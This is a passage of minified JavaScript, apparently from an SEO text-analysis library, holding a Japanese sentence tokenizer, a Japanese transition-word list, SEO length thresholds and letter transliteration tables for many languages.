s=e[l+1],c=e[l-1],o=e[l+2];switch(g=this.getNextTwoCharacters([s,o]),i=g.length>=2,a=i?g[1]:"",r.type){case"html-start":case"html-end":this.isBreakTag(r.src)?(u.push(n),n=""):n+=r.src;break;case"smaller-than-sign-content":v=this.tokenizeSmallerThanContent(r,u,n),u=v.tokenSentences,n=v.currentSentence;break;case"sentence":case"block-start":n+=r.src;break;case"sentence-delimiter":if(n+=r.src,!(0,t.isUndefined)(s)&&"block-end"!==s.type&&"sentence-delimiter"!==s.type&&this.isCharacterASpace(s.src[0])){if(this.isQuotation(r.src)&&c&&"."!==c.src)break;this.isQuotation(r.src)||"…"===r.src?n=this.getValidSentence(i,a,g,s,u,n):(u.push(n),n="")}break;case"full-stop":if(n+=r.src,g=this.getNextTwoCharacters([s,o]),i=g.length>=2,a=i?g[1]:"",this.endsWithAbbreviation(n))break;if(i&&this.isNumber(g[0]))break;if(this.isPartOfPersonInitial(r,c,s,o))break;if(this.endsWithOrdinalDot(n))break;n=this.getValidSentence(i,a,g,s,u,n);break;case"block-end":if(n+=r.src,g=this.getNextTwoCharacters([s,o]),i=g.length>=2,a=i?g[0]:"",i&&this.isNumber(g[0])||this.isSentenceEnding(c)&&!this.isValidSentenceBeginning(a)&&!this.isSentenceStart(s))break;this.isSentenceEnding(c)&&(this.isSentenceStart(s)||this.isValidSentenceBeginning(a))&&(u.push(n),n="")}})),""!==n&&u.push(n),r&&(u=(0,t.map)(u,(function(e){return e.trim()}))),u}getValidSentence(e,t,r,a,l,u){return(e&&this.isValidSentenceBeginning(t)&&this.isCharacterASpace(r[0])||this.isSentenceStart(a))&&(l.push(u),u=""),u}isCharacterASpace(e){return/\s/.test(e)}}class ne extends ue{constructor(){super(),this.sentenceDelimiters="?!…。。!‼?⁇⁉⁈⁉‥"}isNumber(e){return!(0,t.isNaN)(parseInt(e,10))||[/^[\uFF10-\uFF19]+$/i,/^[\u2460-\u249B]+$/i,/^[\u3220-\u3229]+$/i,/^[\u3280-\u3289]+$/i].some((t=>t.test(e)))}isQuotation(e){return"'"===(e=C(e))||'"'===e||/^[\u300C\u300E\u3008\u3014\u3010\uFF5B\uFF3B]+$/i.test(e)}isLetterFromSpecificLanguage(e){return[/^[\u3040-\u3096]+$/i,/^[\u30A1-\u30FA]+$/i,/^[\u31F0-\u31FF]+$/i,/^[\uFF66-\uFF9D]+$/i,/^[\u4E00-\u9FFC]+$/i].some((t=>t.test(e)))}isCharacterASpace(){return!0}}const ie=(0,t.memoize)((function(e,t=!0){const r=new ne,{tokenizer:a,tokens:l}=r.createTokenizer();return r.tokenize(a,e),0===l.length?[]:r.getSentencesFromTokens(l,t)}),((...e)=>JSON.stringify(e))),ge=function(e){if(""===e)return[];const r=(new(u())).segment(e);return(0,t.map)(r)},ve=["この","その","あの","こんな","そんな","あんな","こう","そう","ああ"],se=[["だから"],["その","ため"],["この","ため"],["それ","で"],["そこ","で"],["よって"],["する","と"],["だと","する","と"],["ゆえ","に"],["それゆえ","に"],["し","た","がっ","て"],["それゆえ"],["それ","なら"],["それ","で","は"],["ならば"],["だ","と","し","たら"],["そう","する","と"],["そう","し","たら"],["さも","ない","と"],["そうし","ない","と"],["そう","で","ない","なら"],["だと","すれ","ば"],["そう","なる","と"],["と","なる","と"],["と","なれ","ば"],["そうして","みる","と"],["そう","なれ","ば"],["そうして"],["そのけっか"],["その","結果"],["しかし"],["けど"],["ただ"],["だ","が"],["しかし","ながら"],["けれど"],["けれども"],["だけど"],["だけども"],["そう","で","は","ある","が"],["それ","でも"],["でも"],["で","は","ある","が"],["に","も","かかわらず"],["それ","に","も","かかわらず"],["ところ","が"],["しかる","に"],["と","はいう","もの","の"],["と","は","言う","もの","の"],["な","の","に"],["それ","な","の","に"],["と","は","いえ"],["そう","はいう","もの","の"],["そう","は","言う","もの","の"],["そのくせ"],["さり","と","て"],["さ","れど"],["これ","に","はんし","て"],["これ","に","反し","て"],["それ","に","し","て","は"],["そのわり","に","は"],["そのわり","に"],["それ","なら"],["ならび","に"],["おなじく"],["同じく"],["また"],["どう","よう","に"],["同様","に"],["さ","れど","も"],["さらに"],["おなじ","よう","に"],["同じ","よう","に"],["のみ","なら","ず"],["しかも"],["おまけ","に"],["そのうえ"],["その","上"],["そして"],["それ","から"],["それどころか"],["どころか"],["それ","に"],["それ","に","し","て","も"],["くわえ","て"],["加え","て"],["それ","にくわえ","て"],["それ","に","加え","て"],["ひいて","は"],["なお"],["それ","ばかり","で","なく"],["それ","ばかりか"],["とも","あれ"],["その","うえ","に"],["その","上","に"],["その","うえ","で"],["その","上","で"],["あまつさえ"],["いっぽう"],["一方"],["たほう"],["他方"],["ぎゃく","に"],["逆","に"],["それ","に","たいし","て"],["それ","に対して"],["たいし","て"],["対して"],["はん","たい","に"],["反対","に"],["はんめん"],["反面"],["その","は","んめん"],["その","反面"],["また","は"],["もしく","は"],["あるい","は"],["それとも"],["ほか","に","は"],["他","に","は"],["ほか","に","も"],["他","に","も"],["だいいち","に"],["第一","に"],["だい","に","に"],["第二","に"],["だい","さん","に"],["第三","に"],["だい","よん","に"],["第四","に"],["ひとつめ","は"],["一つめ","は"],["一つ","目","は"],["1つめ","は"],["1つ","目","は"],["ふたつめ","は"],["二つめ","は"],["二つ","目","は"],["2つめ","は"],["2つ","目","は"],["みっつめ","は"],["三つめ","は"],["三つ","目","は"],["3つめ","は"],["3つ","目","は"],["よっつめ","は"],["四つめ","は"],["四つ","目","は"],["4つめ","は"],["4つ","目","は"],["いって","んめ","は"],["一点目","は"],["1","点目","は"],["に","てんめ","は"],["二点目","は"],["2","点目","は"],["さん","て","んめ","は"],["三点目","は"],["3","点目","は"],["よん","て","んめ","は"],["四点目","は"],["4","点目","は"],["ひとつ","は"],["一つ","は"],["1つ","は"],["もう","ひ","とつ","は"],["もう","一つ","は"],["もう","1","つ","は"],["いってん","は"],["一点","は"],["1点","は"],["もういってん","は"],["もう","一点","は"],["もう","1","点","は"],["はじめ","に"],["さいしょ","に"],["最初","に"],["つづい","て"],["続い","て"],["つい","で"],["次い","で"],["さいごに"],["最後","に"],["おわり","に"],["終わり","に"],["終り","に"],["その","ご"],["その","後"],["まず"],["つぎ","に"],["次","に"],["さらに"],["その","あと"],["その","あと","に"],["その後","に"],["なぜ","なら"],["なぜ","なら","ば"],["なぜか","という","と"],["という","の","は"],["という","の","も"],["だっ","て"],["なに","しろ"],["なにせ"],["どう","して","か","という","と"],["なん","で","か","という","と"],["ち","なみ","に"],["ただ"],["もっとも"],["その","かわり"],["ただし"],["そも","そも"],["じつ","は"],["実","は"],["じつ","の","ところ"],["実","の","ところ"],["じつ","は","という","と"],["実","は","という","と"],["実","は","と","言う","と"],["つまり"],["いいかえる","と"],["言い","かえる","と"],["言い換える","と"],["す","なわち"],["よう","は"],["要","は"],["とど","の","つまり"],["よう","する","に"],["要","する","に"],["むしろ"],["かんげん","する","と"],["換言","する","と"],["かえっ","て"],["かわり","に"],["その","かわり"],["いわば"],["いって","みれ","ば"],["言っ","て","みれ","ば"],["という","より"],["と言う","より"],["という","より","は"],["と言う","より","は"],["という","より","も"],["と言う","より","も"],["という","か"],["ぐたい","て","き","に","は"],["具体","的","に","は"],["た","とえば"],["例え","ば"],["とりわけ"],["なか","で","も"],["こと","に"],["殊","に"],["とく","に"],["特に"],["それ","に","は"],["その","ため","に","は"],["そう","する","ば","あい"],["そう","する","場合"],["その","ば","あい"],["その","場合"],["そうすれ","ば"],["それ","によって"],["そう","する","こと","で"],["さ","れ","ば"],["さすれ","ば"],["さて"],["それ","につけて","も"],["ところ","で"],["とき","に"],["時","に"],["それ","は","さ","て","おき"],["で","は"],["それ","で","は"],["じゃ","あ"],["とも","あれ"],["それ","は","そう","と"],["そういえ","ば"],["それ","に","し","たっ","て"],["しょせん"],["所詮"],["ど","の","みち"],["どの","道"],["どっちみち"],["どっち道"],["この","よう","に"],["こうして"],["いずれ","に","せ","よ"],["いずれ","に","し","て","も"],["どちら","に","せ","よ"],["どっち","に","し","て","も"],["どっち","に","せ","よ"],["どちら","に","し","て","も"],["とも","あれ"],["いじょう","の","よう","に"],["以上","の","よう","に"],["たしか","に"],["確か","に"],["いっぽう","で"],["一方","で"],["いっぽう","で","は"],["一方","で","は"],["たほう","で"],["他方","で"],["たほう","で","は"],["他方","で","は"],["かり","に"],["仮","に"],["た","とえ"],["よしんば"],["と","する","と"],["とすれ","ば"],["し","から","ば"],["に","も","かかわらず"],["に","も","拘わらず"],["といえども"],["と","言え","ど","も"],["といって","も"],["と言っ","て","も"],["と","はいう","もの","の"],["と","は","言う","もの","の"],["こと","に","は"],["まも","なく"],["やが","て"],["と","たん","に"],["つづい","て"],["続い","て"],["ひきつづき"],["引き続き"],["かと","おも","う","と"],["かと","思う","と"],["かと","おもえば"],["かと","思え","ば"],["かと","おもうまも","なく"],["かと","思う間も","なく"],["かと","思う","まも","なく"],["と","たん"],["そのしゅんかん"],["その","瞬間"],["どうじ","に"],["同","時に"],["まし","て"],["まし","て","や"],["これ","に","たいし","て"],["これ","に対して"],["もちろん"],["も","とより"],["それ","だ","から"],["これ","だ","から"],["とうぜん"],["当然"]],ce={lengthCriteria:7},oe={defaultAnalysis:{recommendedMinimum:600,slightlyBelowMinimum:500,belowMinimum:400,veryFarBelowMinimum:200},defaultCornerstone:{recommendedMinimum:1800,slightlyBelowMinimum:800,belowMinimum:600,scores:{belowMinimum:-20,farBelowMinimum:-20}},taxonomyAssessor:{recommendedMinimum:60,slightlyBelowMinimum:20,veryFarBelowMinimum:1},productSEOAssessor:{recommendedMinimum:400,slightlyBelowMinimum:300,belowMinimum:200,veryFarBelowMinimum:100},productCornerstoneSEOAssessor:{recommendedMinimum:800,slightlyBelowMinimum:600,belowMinimum:400,scores:{belowMinimum:-20,farBelowMinimum:-20}},collectionSEOAssessor:{recommendedMinimum:60,slightlyBelowMinimum:20,veryFarBelowMinimum:1},collectionCornerstoneSEOAssessor:{recommendedMinimum:60,slightlyBelowMinimum:20,veryFarBelowMinimum:1}},Ee={defaultPageParams:{recommendedLength:300,maximumRecommendedLength:400},productPageParams:{recommendedLength:140,maximumRecommendedLength:200}},he={transitionWords:400,keyphraseDensity:200},de={recommendedLength:40},fe={defaultParameters:{parameters:{recommendedMaximumLength:600,slightlyTooMany:600,farTooMany:700},applicableIfTextLongerThan:600},cornerstoneParameters:{parameters:{recommendedMaximumLength:500,slightlyTooMany:500,farTooMany:600},applicableIfTextLongerThan:500}},Ce={defaultAnalysis:{parameters:{recommendedMaximum:12,acceptableMaximum:18}},productPages:{parameters:{recommendedMinimum:8,recommendedMaximum:12,acceptableMaximum:18,acceptableMinimum:4}}},Ae={recommendedMaximumLength:60,maximumLength:80},Fe="[\\–\\-\\(\\)_\\[\\]’'.?!:;,¿¡«»‹›—×+&<>]+",pe=new RegExp("^"+Fe),De=new RegExp(Fe+"$");function me(e,r){if(o.includes(e[0])&&o.includes(e[e.length-1]))return[[e]];const a=c(e);if(0===a.length)return[[]];const l=(0,t.get)(r.getData("morphology"),"ja",!1);return a.map((e=>l?F(e,l):[e]))}function Be(e,t){let r=e.getKeyword().toLocaleLowerCase("ja").trim();r=r.replace(/\s/g,"");const a=function(e){let t=e.split(",");return t=t.map((e=>U(e).replace(pe,"").replace(De,""))).filter((e=>e)),t}(e.getSynonyms().toLocaleLowerCase("ja").trim());return{keyphraseForms:me(r,t),synonymsForms:a.map((e=>me(e,t)))}}function Oe(e){return{keyphraseLength:m(v(e.getKeyword())),functionWords:[]}}function _e(e){return{text:e.getText(),count:_(e.getText()),unit:"character"}}const Ie="\\–\\-\\(\\)_\\[\\]’‘“”〝〞〟‟„\"'.?!:;,¿¡«»‹›—×+&۔؟،؛。。!‼?⁇⁉⁈‥…・ー、〃〄〆〇〈〉《》「」『』【】〒〓〔〕〖〗〘〙〚〛〜〝〞〟〠〶〼〽{}|~⦅⦆「」、[]・¥$%@&'()*/:;<>\\\<>",be=(Ie.split(""),new RegExp("^["+Ie+"]+")),He=new RegExp("["+Ie+"]+$");function ye(e){e=(e=P(e)).replace("&amp","");const t=new RegExp("(\\\\)","g");return(e=(e=e.replace(t,"")).replace(be,"")).replace(He,"")}function Ue(e){return e.split("_")[0]}const Me={es:[{letter:/[\u00F1]/g,alternative:"n"},{letter:/[\u00D1]/g,alternative:"N"},{letter:/[\u00E1]/g,alternative:"a"},{letter:/[\u00C1]/g,alternative:"A"},{letter:/[\u00E9]/g,alternative:"e"},{letter:/[\u00C9]/g,alternative:"E"},{letter:/[\u00ED]/g,alternative:"i"},{letter:/[\u00CD]/g,alternative:"I"},{letter:/[\u00F3]/g,alternative:"o"},{letter:/[\u00D3]/g,alternative:"O"},{letter:/[\u00FA\u00FC]/g,alternative:"u"},{letter:/[\u00DA\u00DC]/g,alternative:"U"}],pl:[{letter:/[\u0105]/g,alternative:"a"},{letter:/[\u0104]/g,alternative:"A"},{letter:/[\u0107]/g,alternative:"c"},{letter:/[\u0106]/g,alternative:"C"},{letter:/[\u0119]/g,alternative:"e"},{letter:/[\u0118]/g,alternative:"E"},{letter:/[\u0142]/g,alternative:"l"},{letter:/[\u0141]/g,alternative:"L"},{letter:/[\u0144]/g,alternative:"n"},{letter:/[\u0143]/g,alternative:"N"},{letter:/[\u00F3]/g,alternative:"o"},{letter:/[\u00D3]/g,alternative:"O"},{letter:/[\u015B]/g,alternative:"s"},{letter:/[\u015A]/g,alternative:"S"},{letter:/[\u017A\u017C]/g,alternative:"z"},{letter:/[\u0179\u017B]/g,alternative:"Z"}],de:[{letter:/[\u00E4]/g,alternative:"ae"},{letter:/[\u00C4]/g,alternative:"Ae"},{letter:/[\u00FC]/g,alternative:"ue"},{letter:/[\u00DC]/g,alternative:"Ue"},{letter:/[\u00F6]/g,alternative:"oe"},{letter:/[\u00D6]/g,alternative:"Oe"},{letter:/[\u00DF]/g,alternative:"ss"},{letter:/[\u1E9E]/g,alternative:"SS"}],nbnn:[{letter:/[\u00E6\u04D5]/g,alternative:"ae"},{letter:/[\u00C6\u04D4]/g,alternative:"Ae"},{letter:/[\u00E5]/g,alternative:"aa"},{letter:/[\u00C5]/g,alternative:"Aa"},{letter:/[\u00F8]/g,alternative:"oe"},{letter:/[\u00D8]/g,alternative:"Oe"},{letter:/[\u00E9\u00E8\u00EA]/g,alternative:"e"},{letter:/[\u00C9\u00C8\u00CA]/g,alternative:"E"},{letter:/[\u00F3\u00F2\u00F4]/g,alternative:"o"},{letter:/[\u00D3\u00D2\u00D4]/g,alternative:"O"}],sv:[{letter:/[\u00E5]/g,alternative:"aa"},{letter:/[\u00C5]/g,alternative:"Aa"},{letter:/[\u00E4]/g,alternative:"ae"},{letter:/[\u00C4]/g,alternative:"Ae"},{letter:/[\u00F6]/g,alternative:"oe"},{letter:/[\u00D6]/g,alternative:"Oe"},{letter:/[\u00E9]/g,alternative:"e"},{letter:/[\u00C9]/g,alternative:"E"},{letter:/[\u00E0]/g,alternative:"a"},{letter:/[\u00C0]/g,alternative:"A"}],fi:[{letter:/[\u00E5]/g,alternative:"aa"},{letter:/[\u00C5]/g,alternative:"Aa"},{letter:/[\u00E4]/g,alternative:"a"},{letter:/[\u00C4]/g,alternative:"A"},{letter:/[\u00F6]/g,alternative:"o"},{letter:/[\u00D6]/g,alternative:"O"},{letter:/[\u017E]/g,alternative:"zh"},{letter:/[\u017D]/g,alternative:"Zh"},{letter:/[\u0161]/g,alternative:"sh"},{letter:/[\u0160]/g,alternative:"Sh"}],da:[{letter:/[\u00E5]/g,alternative:"aa"},{letter:/[\u00C5]/g,alternative:"Aa"},{letter:/[\u00E6\u04D5]/g,alternative:"ae"},{letter:/[\u00C6\u04D4]/g,alternative:"Ae"},{letter:/[\u00C4]/g,alternative:"Ae"},{letter:/[\u00F8]/g,alternative:"oe"},{letter:/[\u00D8]/g,alternative:"Oe"},{letter:/[\u00E9]/g,alternative:"e"},{letter:/[\u00C9]/g,alternative:"E"}],tr:[{letter:/[\u00E7]/g,alternative:"c"},{letter:/[\u00C7]/g,alternative:"C"},{letter:/[\u011F]/g,alternative:"g"},{letter:/[\u011E]/g,alternative:"G"},{letter:/[\u00F6]/g,alternative:"o"},{letter:/[\u00D6]/g,alternative:"O"},{letter:/[\u015F]/g,alternative:"s"},{letter:/[\u015E]/g,alternative:"S"},{letter:/[\u00E2]/g,alternative:"a"},{letter:/[\u00C2]/g,alternative:"A"},{letter:/[\u0131\u00EE]/g,alternative:"i"},{letter:/[\u0130\u00CE]/g,alternative:"I"},{letter:/[\u00FC\u00FB]/g,alternative:"u"},{letter:/[\u00DC\u00DB]/g,alternative:"U"}],lv:[{letter:/[\u0101]/g,alternative:"a"},{letter:/[\u0100]/g,alternative:"A"},{letter:/[\u010D]/g,alternative:"c"},{letter:/[\u010C]/g,alternative:"C"},{letter:/[\u0113]/g,alternative:"e"},{letter:/[\u0112]/g,alternative:"E"},{letter:/[\u0123]/g,alternative:"g"},{letter:/[\u0122]/g,alternative:"G"},{letter:/[\u012B]/g,alternative:"i"},{letter:/[\u012A]/g,alternative:"I"},{letter:/[\u0137]/g,alternative:"k"},{letter:/[\u0136]/g,alternative:"K"},{letter:/[\u013C]/g,alternative:"l"},{letter:/[\u013B]/g,alternative:"L"},{letter:/[\u0146]/g,alternative:"n"},{letter:/[\u0145]/g,alternative:"N"},{letter:/[\u0161]/g,alternative:"s"},{letter:/[\u0160]/g,alternative:"S"},{letter:/[\u016B]/g,alternative:"u"},{letter:/[\u016A]/g,alternative:"U"},{letter:/[\u017E]/g,alternative:"z"},{letter:/[\u017D]/g,alternative:"Z"}],is:[{letter:/[\u00E1]/g,alternative:"a"},{letter:/[\u00C1]/g,alternative:"A"},{letter:/[\u00F0]/g,alternative:"d"},{letter:/[\u00D0]/g,alternative:"D"},{letter:/[\u00E9]/g,alternative:"e"},{letter:/[\u00C9]/g,alternative:"E"},{letter:/[\u00ED]/g,alternative:"i"},{letter:/[\u00CD]/g,alternative:"I"},{letter:/[\u00F3\u00F6]/g,alternative:"o"},{letter:/[\u00D3\u00D6]/g,alternative:"O"},{letter:/[\u00FA]/g,alternative:"u"},{letter:/[\u00DA]/g,alternative:"U"},{letter:/[\u00FD]/g,alternative:"y"},{letter:/[\u00DD]/g,alternative:"Y"},{letter:/[\u00FE]/g,alternative:"th"},{letter:/[\u00DE]/g,alternative:"Th"},{letter:/[\u00E6\u04D5]/g,alternative:"ae"},{letter:/[\u00C6\u04D4]/g,alternative:"Ae"}],fa:[{letter:/[\u00E1]/g,alternative:"a"},{letter:/[\u00C1]/g,alternative:"A"},{letter:/[\u00F0]/g,alternative:"d"},{letter:/[\u00D0]/g,alternative:"D"},{letter:/[\u00ED]/g,alternative:"i"},{letter:/[\u00CD]/g,alternative:"I"},{letter:/[\u00FD]/g,alternative:"y"},{letter:/[\u00DD]/g,alternative:"Y"},{letter:/[\u00FA]/g,alternative:"u"},{letter:/[\u00DA]/g,alternative:"U"},{letter:/[\u00F3\u00F8]/g,alternative:"o"},{letter:/[\u00D3\u00D8]/g,alternative:"O"},{letter:/[\u00E6\u04D5]/g,alternative:"ae"},{letter:/[\u00C6\u04D4]/g,alternative:"Ae"}],cs:[{letter:/[\u00E1]/g,alternative:"a"},{letter:/[\u00C1]/g,alternative:"A"},{letter:/[\u010D]/g,alternative:"c"},{letter:/[\u010C]/g,alternative:"C"},{letter:/[\u010F]/g,alternative:"d"},{letter:/[\u010E]/g,alternative:"D"},{letter:/[\u00ED]/g,alternative:"i"},{letter:/[\u00CD]/g,alternative:"I"},{letter:/[\u0148]/g,alternative:"n"},{letter:/[\u0147]/g,alternative:"N"},{letter:/[\u00F3]/g,alternative:"o"},{letter:/[\u00D3]/g,alternative:"O"},{letter:/[\u0159]/g,alternative:"r"},{letter:/[\u0158]/g,alternative:"R"},{letter:/[\u0161]/g,alternative:"s"},{letter:/[\u0160]/g,alternative:"S"},{letter:/[\u0165]/g,alternative:"t"},{letter:/[\u0164]/g,alternative:"T"},{letter:/[\u00FD]/g,alternative:"y"},{letter:/[\u00DD]/g,alternative:"Y"},{letter:/[\u017E]/g,alternative:"z"},{letter:/[\u017D]/g,alternative:"Z"},{letter:/[\u00E9\u011B]/g,alternative:"e"},{letter:/[\u00C9\u011A]/g,alternative:"E"},{letter:/[\u00FA\u016F]/g,alternative:"u"},{letter:/[\u00DA\u016E]/g,alternative:"U"}],ru:[{letter:/[\u0430]/g,alternative:"a"},{letter:/[\u0410]/g,alternative:"A"},{letter:/[\u0431]/g,alternative:"b"},{letter:/[\u0411]/g,alternative:"B"},{letter:/[\u0432]/g,alternative:"v"},{letter:/[\u0412]/g,alternative:"V"},{letter:/[\u0433]/g,alternative:"g"},{letter:/[\u0413]/g,alternative:"G"},{letter:/[\u0434]/g,alternative:"d"},{letter:/[\u0414]/g,alternative:"D"},{letter:/[\u0435]/g,alternative:"e"},{letter:/[\u0415]/g,alternative:"E"},{letter:/[\u0436]/g,alternative:"zh"},{letter:/[\u0416]/g,alternative:"Zh"},{letter:/[\u0437]/g,alternative:"z"},{letter:/[\u0417]/g,alternative:"Z"},{letter:/[\u0456\u0438\u0439]/g,alternative:"i"},{letter:/[\u0406\u0418\u0419]/g,alternative:"I"},{letter:/[\u043A]/g,alternative:"k"},{letter:/[\u041A]/g,alternative:"K"},{letter:/[\u043B]/g,alternative:"l"},{letter:/[\u041B]/g,alternative:"L"},{letter:/[\u043C]/g,alternative:"m"},{letter:/[\u041C]/g,alternative:"M"},{letter:/[\u043D]/g,alternative:"n"},{letter:/[\u041D]/g,alternative:"N"},{letter:/[\u0440]/g,alternative:"r"},{letter:/[\u0420]/g,alternative:"R"},{letter:/[\u043E]/g,alternative:"o"},{letter:/[\u041E]/g,alternative:"O"},{letter:/[\u043F]/g,alternative:"p"},{letter:/[\u041F]/g,alternative:"P"},{letter:/[\u0441]/g,alternative:"s"},{letter:/[\u0421]/g,alternative:"S"},{letter:/[\u0442]/g,alternative:"t"},{letter:/[\u0422]/g,alternative:"T"},{letter:/[\u0443]/g,alternative:"u"},{letter:/[\u0423]/g,alternative:"U"},{letter:/[\u0444]/g,alternative:"f"},{letter:/[\u0424]/g,alternative:"F"},{letter:/[\u0445]/g,alternative:"kh"},{letter:/[\u0425]/g,alternative:"Kh"},{letter:/[\u0446]/g,alternative:"ts"},{letter:/[\u0426]/g,alternative:"Ts"},{letter:/[\u0447]/g,alternative:"ch"},{letter:/[\u0427]/g,alternative:"Ch"},{letter:/[\u0448]/g,alternative:"sh"},{letter:/[\u0428]/g,alternative:"Sh"},{letter:/[\u0449]/g,alternative:"shch"},{letter:/[\u0429]/g,alternative:"Shch"},{letter:/[\u044A]/g,alternative:"ie"},{letter:/[\u042A]/g,alternative:"Ie"},{letter:/[\u044B]/g,alternative:"y"},{letter:/[\u042B]/g,alternative:"Y"},{letter:/[\u044C]/g,alternative:""},{letter:/[\u042C]/g,alternative:""},{letter:/[\u0451\u044D]/g,alternative:"e"},{letter:/[\u0401\u042D]/g,alternative:"E"},{letter:/[\u044E]/g,alternative:"iu"},{letter:/[\u042E]/g,alternative:"Iu"},{letter:/[\u044F]/g,alternative:"ia"},{letter:/[\u042F]/g,alternative:"Ia"}],eo:[{letter:/[\u0109]/g,alternative:"ch"},{letter:/[\u0108]/g,alternative:"Ch"},{letter:/[\u011d]/g,alternative:"gh"},{letter:/[\u011c]/g,alternative:"Gh"},{letter:/[\u0125]/g,alternative:"hx"},{letter:/[\u0124]/g,alternative:"Hx"},{letter:/[\u0135]/g,alternative:"jx"},{letter:/[\u0134]/g,alternative:"Jx"},{letter:/[\u015d]/g,alternative:"sx"},{letter:/[\u015c]/g,alternative:"Sx"},{letter:/[\u016d]/g,alternative:"ux"},{letter:/[\u016c]/g,alternative:"Ux"}],af:[{letter:/[\u00E8\u00EA\u00EB]/g,alternative:"e"},{letter:/[\u00CB\u00C8\u00CA]/g,alternative:"E"},{letter:/[\u00EE\u00EF]/g,alternative:"i"},{letter:/[\u00CE\u00CF]/g,alternative:"I"},{letter:/[\u00F4\u00F6]/g,alternative:"o"},{letter:/[\u00D4\u00D6]/g,alternative:"O"},{letter:/[\u00FB\u00FC]/g,alternative:"u"},{letter:/[\u00DB\u00DC]/g,alternative:"U"}],ca:[{letter:/[\u00E0]/g,alternative:"a"},{letter:/[\u00C0]/g,alternative:"A"},{letter:/[\u00E9|\u00E8]/g,alternative:"e"},{letter:/[\u00C9|\u00C8]/g,alternative:"E"},{letter:/[\u00ED|\u00EF]/g,alternative:"i"},{letter:/[\u00CD|\u00CF]/g,alternative:"I"},{letter:/[\u00F3|\u00F2]/g,alternative:"o"},{letter:/[\u00D3|\u00D2]/g,alternative:"O"},{letter:/[\u00FA|\u00FC]/g,alternative:"u"},{letter:/[\u00DA|\u00DC]/g,alternative:"U"},{letter:/[\u00E7]/g,alternative:"c"},{letter:/[\u00C7]/g,alternative:"C"}],ast:[{letter:/[\u00F1]/g,alternative:"n"},{letter:/[\u00D1]/g,alternative:"N"}],an:[{letter:/[\u00FC]/g,alternative:"u"},{letter:/[\u00F1]/g,alternative:"ny"},{letter:/[\u00E7]/g,alternative:"c"},{letter:/[\u00ED]/g,alternative:"i"},{letter:/[\u00F3]/g,alternative:"o"},{letter:/[\u00E1]/g,alternative:"a"},{letter:/[\u00DC]/g,alternative:"U"},{letter:/[\u00D1]/g,alternative:"Ny"},{letter:/[\u00C7]/g,alternative:"C"},{letter:/[\u00CD]/g,alternative:"I"},{letter:/[\u00D3]/g,alternative:"O"},{letter:/[\u00C1]/g,alternative:"A"}],ay:[{letter:/(([\u00EF])|([\u00ED]))/g,alternative:"i"},{letter:/(([\u00CF])|([\u00CD]))/g,alternative:"I"},{letter:/[\u00E4]/g,alternative:"a"},{letter:/[\u00C4]/g,alternative:"A"},{letter:/[\u00FC]/g,alternative:"u"},{letter:/[\u00DC]/g,alternative:"U"},{letter:/[\u0027]/g,alternative:""},{letter:/[\u00F1]/g,alternative:"n"},{letter:/[\u00D1]/g,alternative:"N"}],en:[{letter:/[\u00E6\u04D5]/g,alternative:"ae"},{letter:/[\u00C6\u04D4]/g,alternative:"Ae"},{letter:/[\u0153]/g,alternative:"oe"},{letter:/[\u0152]/g,alternative:"Oe"},{letter:/[\u00EB\u00E9]/g,alternative:"e"},{letter:/[\u00C9\u00CB]/g,alternative:"E"},{letter:/[\u00F4\u00F6]/g,alternative:"o"},{letter:/[\u00D4\u00D6]/g,alternative:"O"},{letter:/[\u00EF]/g,alternative:"i"},{letter:/[\u00CF]/g,alternative:"I"},{letter:/[\u00E7]/g,alternative:"c"},{letter:/[\u00C7]/g,alternative:"C"},{letter:/[\u00F1]/g,alternative:"n"},{letter:/[\u00D1]/g,alternative:"N"},{letter:/[\u00FC]/g,alternative:"u"},{letter:/[\u00DC]/g,alternative:"U"},{letter:/[\u00E4]/g,alternative:"a"},{letter:/[\u00C4]/g,alternative:"A"}],fr:[{letter:/[\u00E6\u04D5]/g,alternative:"ae"},{letter:/[\u00C6\u04D4]/g,alternative:"Ae"},{letter:/[\u0153]/g,alternative:"oe"},{letter:/[\u0152]/g,alternative:"Oe"},{letter:/[\u00E9\u00E8\u00EB\u00EA]/g,alternative:"e"},{letter:/[\u00C9\u00C8\u00CB\u00CA]/g,alternative:"E"},{letter:/[\u00E0\u00E2]/g,alternative:"a"},{letter:/[\u00C0\u00C2]/g,alternative:"A"},{letter:/[\u00EF\u00EE]/g,alternative:"i"},{letter:/[\u00CF\u00CE]/g,alternative:"I"},{letter:/[\u00F9\u00FB\u00FC]/g,alternative:"u"},{letter:/[\u00D9\u00DB\u00DC]/g,alternative:"U"},{letter:/[\u00F4]/g,alternative:"o"},{letter:/[\u00D4]/g,alternative:"O"},{letter:/[\u00FF]/g,alternative:"y"},{letter:/[\u0178]/g,alternative:"Y"},{letter:/[\u00E7]/g,alternative:"c"},{letter:/[\u00C7]/g,alternative:"C"},{letter:/[\u00F1]/g,alternative:"n"},{letter:/[\u00D1]/g,alternative:"N"}],it:[{letter:/[\u00E0]/g,alternative:"a"},{letter:/[\u00C0]/g,alternative:"A"},{letter:/[\u00E9\u00E8]/g,alternative:"e"},{letter:/[\u00C9\u00C8]/g,alternative:"E"},{letter:/[\u00EC\u00ED\u00EE]/g,alternative:"i"},{letter:/[\u00CC\u00CD\u00CE]/g,alternative:"I"},{letter:/[\u00F3\u00F2]/g,alternative:"o"},{letter:/[\u00D3\u00D2]/g,alternative:"O"},{letter:/[\u00F9\u00FA]/g,alternative:"u"},{letter:/[\u00D9\u00DA]/g,alternative:"U"}],nl:[{letter:/[\u00E7]/g,alternative:"c"},{letter:/[\u00C7]/g,alternative:"C"},{letter:/[\u00F1]/g,alternative:"n"},{letter:/[\u00D1]/g,alternative:"N"},{letter:/[\u00E9\u00E8\u00EA\u00EB]/g,alternative:"e"},{letter:/[\u00C9\u00C8\u00CA\u00CB]/g,alternative:"E"},{letter:/[\u00F4\u00F6]/g,alternative:"o"},{letter:/[\u00D4\u00D6]/g,alternative:"O"},{letter:/[\u00EF]/g,alternative:"i"},{letter:/[\u00CF]/g,alternative:"I"},{letter:/[\u00FC]/g,alternative:"u"},{letter:/[\u00DC]/g,alternative:"U"},{letter:/[\u00E4]/g,alternative:"a"},{letter:/[\u00C4]/g,alternative:"A"}],bm:[{letter:/[\u025B]/g,alternative:"e"},{letter:/[\u0190]/g,alternative:"E"},{letter:/[\u0272]/g,alternative:"ny"},{letter:/[\u019D]/g,alternative:"Ny"},{letter:/[\u014B]/g,alternative:"ng"},{letter:/[\u014A]/g,alternative:"Ng"},{letter:/[\u0254]/g,alternative:"o"},{letter:/[\u0186]/g,alternative:"O"}],uk:[{letter:/[\u0431]/g,alternative:"b"},{letter:/[\u0411]/g,alternative:"B"},{letter:/[\u0432]/